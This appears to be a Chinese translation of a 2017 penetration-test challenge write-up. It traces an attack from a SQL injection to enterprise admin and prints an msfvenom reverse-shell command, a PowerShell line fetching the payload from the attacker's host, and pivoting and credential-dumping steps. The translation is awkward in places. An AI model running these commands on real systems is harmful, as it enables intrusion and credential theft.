渗透挑战赛:从SQL注入到管理员权限

本文讲的是渗透挑战赛:从SQL注入到管理员权限

在本文中,Sudhanshu Chauhan探索了一条利用SQL注入漏洞获取Windows企业管理员权限的开发路径。读到这你可能会想Sudhanshu 用的是哪种方法呢?OSINT、弱凭据、密码破解、不安全配置、跳板攻击(Pivoting)、绕过杀毒软件或pwnage。

要说明的是,从SQL注入到管理员权限是Sudhanshu在参加一个黑客挑战比赛时的一个项目,而且挑战的前提是,他只知道攻击企业的名称。另外,在比赛的初始阶段是禁止进行采用枚举的,所以一开始只能被动收集信息,其中包括识别客户拥有的IP范围,枚举域和子域,探索github、pastebin和其他消息来源,使用shodan以及其他一些OSINT技术来发现泄漏的敏感信息和服务。

一份资源列表可以根据许多因素进行了编辑和排名,其中包括泄露的证书、过时的软件、暴露的服务等,Sudhanshu认为透过这些目标会产生很多有用的信息,并确认下一阶段的挑战方案。

其中一个排名靠前的网站被发现有一个SQL注入漏洞,在SQLMap中使用选项“- is- dba”,Sudhanshu发现他竟有数据库管理员级别的特权。交互式访问(sql shell)是从多个数据库被识别的地方获得的,另外,还设置了一些数据库用户帐户和相关的密码哈希。使用# OneRuleToRuleThemAllSudhanshu能够破解一些哈希密码。另外,由于在数据库服务器上启用了“xp_cmdshell”,因此Sudhanshu能够执行操作系统命令。这证实了OOB(out of band) DNS调用了Sudhanshu的自定义域“xyz.abc.sos.notsosecure.com”,如下所示:

当你有代码执行时,下一步是通过交互式shell实现更好的控制。Sudhanshu处理了多个meterpreter有效载荷,但几乎都失败了。当Sudhanshu不断尝试使用多个渗透技术(如ICMP tunnelling)时,它通过xp_cmdshell解决了一个交互式ICMP shell,如下所示:

使用新获得的ICMP外壳,Sudhanshu处理了被破坏的系统,并四处寻找在开发后可以帮助Sudhanshu的任何东西。ICMP的外壳也有点不稳定,不足以解渴Sudhanshu的解渴。

当目标的主机使用Windows框架时,Sudhanshu尝试得到一个powershell meterpreter有效载荷。它给了Sudhanshu一个shell,但在几秒钟内就被检测到了,连接被终止。通过枚举,可以确认企业的主机上运行的是什么杀毒软件。在几次试图绕过安全保护失败后, Sudhanshu又返回到了主机上的枚举,并确定安装了python。然后Sudhanshu通过运行以下命令生成了一个使用msfvenom的python meterpreter有效载荷:

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=<OUR_HOST> LPORT=1234 > pypreter.py

上面的载荷是在Sudhanshu的服务器上托管的,Sudhanshu会指示受损服务器从ICMP shell中使用以下Powershell命令下载有效载荷:

powershell $WebRequest = New-Object System.Net.WebClient; $WebRequest.DownloadFile('http://<OUR_HOST>:8000/pypreter.py','C:WindowsTemppypreter.py')

Sudhanshu为python载荷启动了metasploit多处理器,并通过ICMP shell执行了载荷。这给Sudhanshu带来了想要的meterpreter shell,如下所示:

虽然比Sudhanshu最初的ICMP shell要稳定的多,但大多数meterpreter命令都没有获得预期的结果,这是因为python的meterpreter实现的局限性。

从Sudhanshu新获得的python meterpreter shell中,Sudhanshu继续进行了进一步的枚举。基于过去的经验,Sudhanshu针对网络共享,因为它们通常不包含在杀毒扫描范围内。幸运的是,Sudhanshu偶然发现了一个这样的共享,并在那里删除了一个Windows非阶段性的meterpreter有效载荷。于是,Sudhanshu开始了另一个metasploit的多处理器,用于非阶段性的meterpreter有效载荷,执行二进制,并且期望得到一个新的本地meterpreter shell。

一旦你有了一个meterpreter shell,就代表着挑战即将成功。现在Sudhanshu不再使用哈希,试图用mimikatz提取明文密码,提取委托令牌。但结果并不理想,还是没有发现任何一个明文登录凭证,因为没有人用它进行登录,本地的哈希也没有在其他地方运行过。

Sudhanshu发现主机有多个网络接口,因此Sudhanshu使用新获得的meterpreter shell向内部网络添加了一个route命令,route命令如下所示:

route add 10.0.1.0 255.255.252.0 1

在添加了route命令之后,Sudhanshu执行了ARP扫描,并使用一个post exploitation metasploit模块来识别网络上的当时的连接主机。

然后,Sudhanshu使用auxiliary metasploit模块对当时连接的主机执行端口扫描,以尝试识别运行MSSQL的主机,如下所示:

然后,Sudhanshu使用了“auxiliary/scanner/mssql/mssql_login”模块与数据库账号,查看是否有任何账户被重用,如下所示:

此时,Sudhanshu发现一个帐户在另外两个主机上有效,并具有数据库管理特权。在‘auxiliary/admin/mssql/mssql_exec’ 模块的帮助下, Sudhanshu可以使用这个特权帐户得到类似系统的meterpreter shell运行。这个主机运行的是Windows Server 2003操作系统。本地的哈希随后就被清除了,同时Hashcat也会破解了一些本地的账户。然后将meterpreter shell被用于转储域帐户哈希,如下所示:

除此之外,mimikatz还被用来从被破坏的盒子里清除清晰的文本密码,如下图所示:

经过进一步的枚举之后,可以确定其中一个用户属于“企业管理员”身份,这让Sudhanshu可以直接访问域控制器。此时,Sudhanshu进行了大规模开发,并使用这些高权限凭据,Sudhanshu使用powershell脚本“invoke – massmimikatz.ps1”从所有其他主机中提取出多个明文密码。

此外,Sudhanshu现在可以在域控制器上执行哈希转储,以获得诸如“krbtgt”之类的高级特权帐户的哈希。在本文中,Sudhanshu使用了一个名为“dcsync_ntlm”的nifty命令从metasploit kiwi扩展中提取krbtgt帐户的哈希,如下所示。

然后可以进一步利用这个哈希来创建黄金票证,并在网络上获得持久性。

这样挑战就此结束,回顾一下整个挑战,从web应用程序漏洞开始,到获取企业管理员的多个凭据。整个攻击流程图如下所示:

所以,对于企业来说,确保网络安全的重要方面就是确保所有系统都创建了完整的库存,并且对保护措施及时进行升级。

原文发布时间为:2017年9月17日

本文作者:luochicun

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-09-20 05:20:43

渗透挑战赛:从SQL注入到管理员权限的相关文章

PHP漏洞之SQL注入攻击简单介绍

  SQL注入攻击的一般步骤: 1.攻 击者访问有SQL注入漏洞的站点,寻找注入点 2.攻击者构造注入语句,注入语句和程序中的SQL语句结合生成新的sql语句 3.新的sql语句被提交到数据库中执行 处理 4.数据库执行了新的SQL语句,引发SQL注入攻击   实例 数据库 CREATE TABLE `postmessage` ( `id` int(11) NOT NULL auto_increment, `subject` varchar(60) NOT NULL default ", `na

如何使用加密的Payload来识别并利用SQL注入漏洞?

本文讲的是如何使用加密的Payload来识别并利用SQL注入漏洞?,不可否认,密码学具有各种各样的优点,比如信息的机密性,但是对于密码过分的依赖,利用其保护应用程序俨然是一个坏主意.在这篇文章中我们app安全的首席培训师森尔·亚达夫,将针对一个案例进行研究,其中有一个SQL注入漏洞是通过加密的payload来进行识别和利用的. 注意:我们在本文中讨论的问题并不是加密(即如何破解密码),而是应用程序自身的缺陷,并且能够由开发人员进行监督,使我们生成加密的有效负载(即任何给定明文的密文),然后将其用

利用SQL注入,通过dbo获得SQL管理权限和系统权限

我做了如下测试:(1) http://www.xxx.com/new/new.asp?id=49' Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询表达式 'ID=49'' 中. /new.asp,行36 (2) http://www.xxx.com/new/new.asp?id=49 and 1=1(正常返回页面) (3) h

SQL注入实战---利用“dbo”获得SQL管理权限和系统权限

作者:覆灭之魔 文章来源:影子鹰安全网络 刚刚开始学习SQL注入入侵,有写的不对和不好的地方希望各位师哥,师姐们多多指导. 在一个供求信息发布的网站上测试了一下,页面Http://www.xxx.com/new/new.asp?id=49 我做了如下测试:(1) Http://www.xxx.com/new/new.asp?id=49' Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14[Microsoft][ODBC Microsof

内网域渗透之无管理员权限的重要信息搜集

本文讲的是内网域渗透之无管理员权限的重要信息搜集,经常被遗忘(或被误解)的一个事实是,大多数对象及其属性可以被验证的用户(通常是域用户)查看(或读取).管理员可能会认为,由于通过管理工具(如"Active Directory用户和计算机"(dsa.msc)或"Active Directory管理中心"(dsac.msc))可以轻松访问此数据,因此其他人就无法查看用户数据(超出了Outlook的GAL中暴露的内容).这通常导致密码数据被放置在用户对象属性或SYSVOL

sql注入-SQL注入,,绕过登陆,提升权限

问题描述 SQL注入,,绕过登陆,提升权限 通过找到的sql注入的确可以读取数据库内某些信息,通过模拟黑客入侵最终得到一账号,但是该账号无查看后台订单权限.想尝试登录后台系统并进行抓包,并尝试绕过登录或者提升权限.账号为admin密码为password ,该账号为user权限,需要提升为admin后才可查看flag.(提示:key的提交形式为flag:{xxxx}) 地址:http://218.2.197.250/TestOne/login.html 解决方案 路过水一贴,O(∩_∩)O.

由Jsp+Mysql注入到root权限的全程展

js|mysql 最近有点空闲,所以写点垃圾文章来消磨一下时间.文中没有什么技术含量,如果要转载,请注明作者并保持文章的完整.很多人可能都知道asp,php的编程要防止sql注入漏洞,而并不知道jsp编程同样也需要防备sql注入漏洞.其实,一旦jsp代码有注入漏洞,将直接影响到整个系统的安全.本文就是主要展示一下我的一次JSP+MYSQL注入导出webshell的过程.    www.***.***.cn是国内某一个著名研究所的网站,我们在这里对其进行善意的测试.当然,在写此文之前我已经将漏洞通

SQL注入奇招致胜 UNION查询轻松免费看电影

此文发表在2004年黑客X档案第4期  周末无聊,同学想让我帮他下载一些电影看,我爽快的答应了.看了这么多期X档案,水平自然长进不少,也没事玩玩"鸡".这次想免费下载些电影,没问题(我知道N多电影程序有漏洞).闲话少说,切入正题. 我打开Google,随便搜索了一下电影网站,点开了一个.看了一下界面,知道和金梅电影系统关联很大.金梅系统和"洞"网(7.0安全多啦,自己想的)差不多,也是有N多漏洞,比如注入啊,COOKIE欺骗什么的.我就在X档案03年11期看过一篇文

Sql Server 应用程序的高级Sql注入第1/2页_漏洞研究

这篇文章面向两种读者:一是基于数据库web程序开发人员和审核各种web程序的安全专家.[介 绍] 结构化查询语言(SQL)是一种用来和数据库交互的文本语言SQL语言多种多样,大多的方言版本都共同宽松地遵循SQL-92标准(最新的ANSI标准[译者注:目前最新的是SQL-99]).SQL运行的典型的操作是"查询",它是可以让数据库返回"查询结果记录集"的语句集合.SQL语句可以修改数据库的结构(用数据定义语言"DDL")和操作数据库里的数据(用数据